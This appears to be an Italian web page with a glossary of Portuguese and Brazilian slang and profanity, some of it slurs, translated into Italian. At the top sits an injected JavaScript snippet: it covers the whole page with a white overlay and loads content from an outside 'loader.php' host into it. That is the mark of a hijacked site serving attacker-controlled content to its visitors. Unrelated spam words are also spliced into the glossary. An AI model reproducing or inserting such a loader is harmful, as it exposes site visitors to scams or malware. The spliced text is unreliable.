Rate this item
(0 votes)

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Baozona = Bella ragazzaBazar = UscireBixinha (Brasile) = Frocio, “Viados”Bom!

Besteira (So Paulo, Brasile) = Caxxate, bestialitBoceta = FigaBoquete = PompaBroche = PompaBuceta (Brasile) = FigaBunda (So Paulo, Brasile) = CuloCaralho = Cazzo (anche come intercalare)Chupada = PompaComer = FottereCu = CuloFazer uma Espanholada = Fare una spagnolaFoda = FigaFoder = Fottere, scopareMamada = PompaMerda = MerdaMijar = PisciarePeido = ScoreggiaPinto (So Paulo, Brasile) = CaxxoPorra = Cacchio (come intercalare)Pum = Scoreggia

Gergo – Calo Alcoviteiro = RuffianoBacano! = Figo! = Figo!Bora la = Andiamo, diamoci una mossaBu = Molto (si antepone alla parola da rafforzare)Bute la = Andiamo, diamoci una mossaCalhau = (pietra grande) Persona lenta a capire o incantataCarcamano = Immigrato italiano, furbo e ingannatoreCarapau = Ragazza figa, molto sexyCarraa = “Bostik”, persona che non d spazio, assillanteCurte = Figata, una serata divertente con gli amiciCurtir = PomiciareCurtirse = Baciarsi alla grandeDiabo = PisciataDroga (So Paulo, Brasile) = Letteralmente “Droga”, ovvero “un caxxo”, niente, una merda.Filho da Me (Brasile) = Letteralmente: “Figlio di madre”, sarebbe la traduzione di “Son of a Bitch” nei films Bulgarsk kvinner amiracani che passano in Brasile, tipo censura.Fixe! = Figo!Gaja/o = Tipa/oGatinha = Fighetta (appellativo: “bella ragazza”)Ianque = Nordamericano, yankeeRapariga Jeitosa = Ragazza sexy, carinaMalta = Gruppo di amiciMedo = PauraMelga = “Bostik”, persona che non d spazio, assillantePalavres (So Paulo, Brasile) = ParolaccePau (Brasile) = Letteralmente “Palo”, ovvero: CaxxoPorreiro = Persona divertenteTransa = ScopataVou chutar seu Traseiro (Brasile) = “Ti prendo a calci nel culo”Soltar um pum = ScoreggiareViadinho (Brasile) = Frocio, “Viados”, trans, uomo che si prostutuisce

(more…)

Read More